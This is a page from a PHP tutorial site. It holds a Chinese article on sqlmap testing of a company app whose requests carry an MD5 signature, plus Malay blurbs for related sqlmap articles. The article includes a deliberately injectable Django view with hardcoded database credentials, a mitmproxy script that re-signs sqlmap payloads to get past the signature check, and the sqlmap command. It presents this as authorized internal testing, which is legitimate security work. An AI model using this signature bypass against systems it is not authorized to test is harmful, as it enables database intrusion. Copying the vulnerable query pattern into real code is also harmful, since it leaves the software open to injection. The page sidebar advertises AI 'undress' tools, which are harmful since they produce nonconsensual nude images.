Idea sqlmap memproses penyulitan tanda
我对公司的APP进行测试的时候发现,我们是将所有的参数内容加上一个32位字符最后在进行MD5加密。由于APP处理的流程首先是验证sign是不是正确,如果验签失败,根本就进不去数据库,为了要使用SQLMAP对其进行测试,于是就写了一个代理数据的脚本,在拦截到数据包之后,对其参数内容和32字符进行加密替换。
注:该脚本适用于公司内部系统,因为能够知道加密的流程;或者能够拿到前端JS的加密方式。
首先我使用Django写了一个程序来模拟公司的系统,流程是获取POST的id和token,并加上自定义加密的字符,由于Django获取到数据是已经经过URLDECODE,所以我用了quote对参数id的内容进行URLENCODE,再进行MD5加密,最后验证请求过来的token是否和参数内容一致。
views.py from django.shortcuts import render from django.http import JsonResponse # Create your views here. import hashlib import MySQLdb import urllib from django.views.decorators.csrf import csrf_exempt @csrf_exempt def index(request): id = request.POST.get("id") token = request.POST.get("token") str = urllib.quote(id+"test") print(str) hl = hashlib.md5() hl.update(str) token1 = hl.hexdigest() print token1 if token == token1: db = MySQLdb.connect("localhost", "root", "123456", "testdb", charset='utf8') cursor = db.cursor() cursor.execute("select * from t_userinfo where id="+id) data = cursor.fetchone() print "Database version : %s " % data db.close() return JsonResponse({"msg":"verity ok"}) else: return JsonResponse({"msg":"verity error."}) models.py class userinfo(models.Model): name = models.CharField(max_length=100) age = models.CharField(max_length=100)
使用BP进行抓包,可以看到当验证正确和验证错误返回的状态。
使用SQLMAP进行测试,发现无法测试。于是我使用mitmproxy,mitmproxy是一个交互式的中间代理HTTP和HTTPS的控制台界面,具体详情可以看这里。
如果要修改的话,只修改wsproxy_request_handle函数,因为这个函数是拦截数据并且篡改数据的过程,其他的代码都是配置过程和运行过程,不用修改。
from mitmproxy.proxy.server import ProxyServer from mitmproxy import flow, controller from mitmproxy import flow, proxy, controller, options import hashlib import re def md5cr(str): hl = hashlib.md5() hl.update(str.encode(encoding='utf-8')) return hl.hexdigest() class WSProxy(flow.FlowMaster): def __init__(self, opts, server, state, unsave_data): super(WSProxy, self).__init__(opts, server, state) self.unsave_data = unsave_data def run(self): try: print("start") flow.FlowMaster.run(self) except KeyboardInterrupt: self.shutdown() @controller.handler def request(self, f): wsproxy_request_handle(f) @controller.handler def response(self, f): wsproxy_response_handle(f) # parser = ResponseParser(f) # insert_result(parser.parser_data()) def wsproxy_request_handle(flow): """wyproxy send data to server before processing""" try: data = flow.request.content.split("&") t = "" for i in data: if i.split("=")[0] != "token": t = t+i.split("=")[1] str = t+"test" sign = md5cr(str) print(str) data1 = re.match("(.*?)token=",flow.request.content).group() flow.request.content = data1+sign print(flow.request.content) except IndexError: pass def wsproxy_response_handle(flow): pass port = 8888 # mode = 'regular' #mode=regular opts = options.Options( listen_port=int(port), mode=mode, cadir="./ssl/", ) unsave_data = False config = proxy.ProxyConfig(opts) state = flow.State() server = ProxyServer(config) m = WSProxy(opts, server, state, unsave_data) m.run()
运行上面的脚本使用SQLMAP代理到上http://IP:8888上面,然后脚本会自动处理sqlmap的payload和生成对应的sign。
python sqlmap.py -r e:\\1.txt -p id --dbms=mysql --batch --proxy=http://192.168.1.240:8888
上面是生成payload和sign的过程,下面是我请求一个payload报错的过程。
Atas ialah kandungan terperinci Idea sqlmap memproses penyulitan tanda. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Alat AI Hot

Undresser.AI Undress
Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover
Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool
Gambar buka pakaian secara percuma

Clothoff.io
Penyingkiran pakaian AI

AI Hentai Generator
Menjana ai hentai secara percuma.

Artikel Panas

Alat panas

Notepad++7.3.1
Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina
Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1
Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6
Alat pembangunan web visual

SublimeText3 versi Mac
Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Topik panas



Fungsi SIGN ialah fungsi yang sangat berguna terbina dalam Microsoft Excel. Menggunakan fungsi ini anda boleh mengetahui tanda nombor. Iaitu, sama ada nombor itu positif. Fungsi SIGN mengembalikan 1 jika nombor itu positif, -1 jika nombor itu negatif, dan sifar jika nombor itu sifar. Walaupun ini kedengaran terlalu jelas, jika anda mempunyai lajur besar yang mengandungi banyak nombor dan kami ingin mencari tanda semua nombor, adalah sangat berguna untuk menggunakan fungsi SIGN dan menyelesaikan tugas dalam beberapa saat. Dalam artikel ini, kami menerangkan 3 kaedah berbeza tentang cara mudah menggunakan fungsi SIGN dalam mana-mana dokumen Excel untuk mengira tanda nombor. Teruskan membaca untuk mengetahui cara menguasai helah hebat ini. mulakan

Gunakan sqlmap untuk mengautomasikan suntikan ke dalam dvwa, tetapkan tahap dvwa kepada rendah, buka SQLInjection (SQLInjection(Blind) dvwa), buka penyahpepijatan pelayar, masukkan id pengguna dan serahkan, dan lihat permintaan yang dipintas. Anda boleh melihat bahawa ia adalah permintaan GET, url "http://192.168.1.222:8089/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" Kami terus memasukkannya ke dalam salmap untuk mengujinya, gunakan - u perintah -u"http ://192.168.1.22

Gambaran Keseluruhan 0x00 Baru-baru ini, saya mengalami fenomena aneh apabila menggunakan ujian suntikan sqlmap Versi sqlmap yang lebih tinggi tidak dapat mengesan suntikan, tetapi versi yang lebih rendah boleh mengesan suntikan, dan data boleh kehabisan, yang bukan penggera palsu ujian perbandingan dan melihat kod sumber sqlmap, Menjumpai dua lubang kecil. Format titik suntikan pembiakan senario 0x01: json..."whereparams":[{"name":"keyWord","value":"test"}]} Parameter boleh suntikan: perintah valuesqlmap: pythonsqlmap.py-rsqlpk.txt– flush -session-vvsqlmapv1.2.11 tidak boleh menyuntik s

Bahagian Pertama: Menggunakan Sqlmap 1.1 Pengenalan kepada sqlmap 1. Saya menyebut beberapa pernyataan asas suntikan sql, tetapi suntikan manual sangat menyusahkan Kita boleh menggunakan sqlmap, alat suntikan sql yang berkuasa, untuk mendapatkan data. # sqlmap ialah alat ujian penembusan sumber terbuka yang secara automatik boleh mengesan dan mengeksploitasi kelemahan suntikan SQL dan pelayan yang disambungkan ke pangkalan data. Ia mempunyai enjin pengesanan yang sangat berkuasa, penguji penembusan dengan pelbagai ciri, akses kepada sistem fail asas melalui cap jari pangkalan data dan pelaksanaan perintah melalui sambungan luar jalur. Tapak web rasmi: sqlmap.org(2)#Pangkalan data yang disokong: MySQL, Oracle, PostgreS

Kerana perlu untuk menjalankan ujian penembusan pada tapak web luaran, kebanyakan tapak web mempunyai kawalan kekerapan capaian Setelah kekerapan ini melebihi, IP akan diharamkan secara langsung. Terutama apabila SQLMAP sedang berjalan, ia lebih "merah makcik", dan ralat dilaporkan dan keluar sebelum SQLMAP selesai dijalankan. Jadi saya mula mengkaji mod proksi SQLMAP mempunyai dua mod proksi, satu proksi biasa (proksi HTTP) dan satu lagi proksi bawang. Saya pada asalnya ingin menulis tentang permohonan ejen biasa, tetapi Baidu melihat bahawa artikel ini cukup terperinci dan berhenti bercakap kosong. Sambungan Sqlmap - Pelaksanaan kumpulan proksi IP luaran Mari fokus pada proksi bawang Pada mulanya, apabila bawang digunakan secara langsung untuk suntikan, tiada laporan "makcik merah" Kemudian, apabila bilangan tapak web yang ditembusi meningkat.

1. Prakata Bagaimana untuk mengesan suntikan SQL? Jawapan saya ialah: Apabila Pihak A melakukan keselamatan, pengesanan suntikan SQL agak mudah dilakukan. 1) Ralat pengesanan suntikan. 2) Jangan menyuntik laporan ralat bool kerana positif palsu agak tinggi. 3) Lakukan suntikan masa berdasarkan masa, operasi hubungan dan penyelenggaraan untuk melakukan rakaman db log perlahan, memantau tidur dan pemantauan kata kunci penanda aras Anda boleh menambah nombor ID tugas pengimbasan pada titik perpuluhan masa tidur untuk memudahkan kedudukan. (p.s. Kaedah ini boleh menemui 99% suntikan SQL) Oleh itu, apabila melakukan suntikan masa berasaskan masa, saya mengehadkan ralat masa dengan sangat keras. Walau bagaimanapun, @chengable sedang melakukan kerja berkaitan keselamatan dalam Parti B, berdasarkan t

Terdapat terlalu sedikit artikel yang berkaitan tentang suntikan dns untuk sqlmap di Internet. Mereka hanya memperkenalkan secara ringkas parameter --dns-domain Artikel praktikal yang berkaitan sama ada kabur atau disebut dalam satu pukulan, yang mengelirukan (terutamanya tidak jujur. belum lagi Big boss). Kemudian saya melakukannya sekali lagi dengan merujuk kepada kaedah di Internet. Perkara yang perlu disediakan termasuk satu sqlmap, windows blind injection, dua nama domain dan pelayan rangkaian luaran. Suatu ketika saya sedang melakukan sesuatu, saya terjumpa suntikan buta masa Ia adalah mesin Windows, dan saya teringat kaedah suntikan dns. Sebelum memulakan, saya merancang untuk menggunakan perintah --sql-shell sqlmap untuk menguji muatan suntikan dns Pertama, pergi ke burpsuite.

Apabila saya menguji APP syarikat, saya mendapati bahawa kami menambahkan aksara 32-bit pada semua kandungan parameter dan akhirnya melakukan penyulitan MD5. Memandangkan proses pemprosesan APP terlebih dahulu mengesahkan sama ada tanda itu betul, jika pengesahan tandatangan gagal, ia tidak akan dapat memasuki pangkalan data sama sekali Untuk menggunakan SQLMAP untuk mengujinya, saya menulis skrip untuk data proksi paket data, lakukan penggantian yang disulitkan bagi kandungan parameternya dan 32 aksara. Nota: Skrip ini sesuai untuk sistem dalaman syarikat, kerana anda boleh mengetahui proses penyulitan atau anda boleh mendapatkan kaedah penyulitan JS bahagian hadapan. Pertama, saya menulis program menggunakan Django untuk mensimulasikan sistem syarikat Prosesnya adalah untuk mendapatkan ID POST dan token, dan menambah perkataan yang disulitkan tersuai.
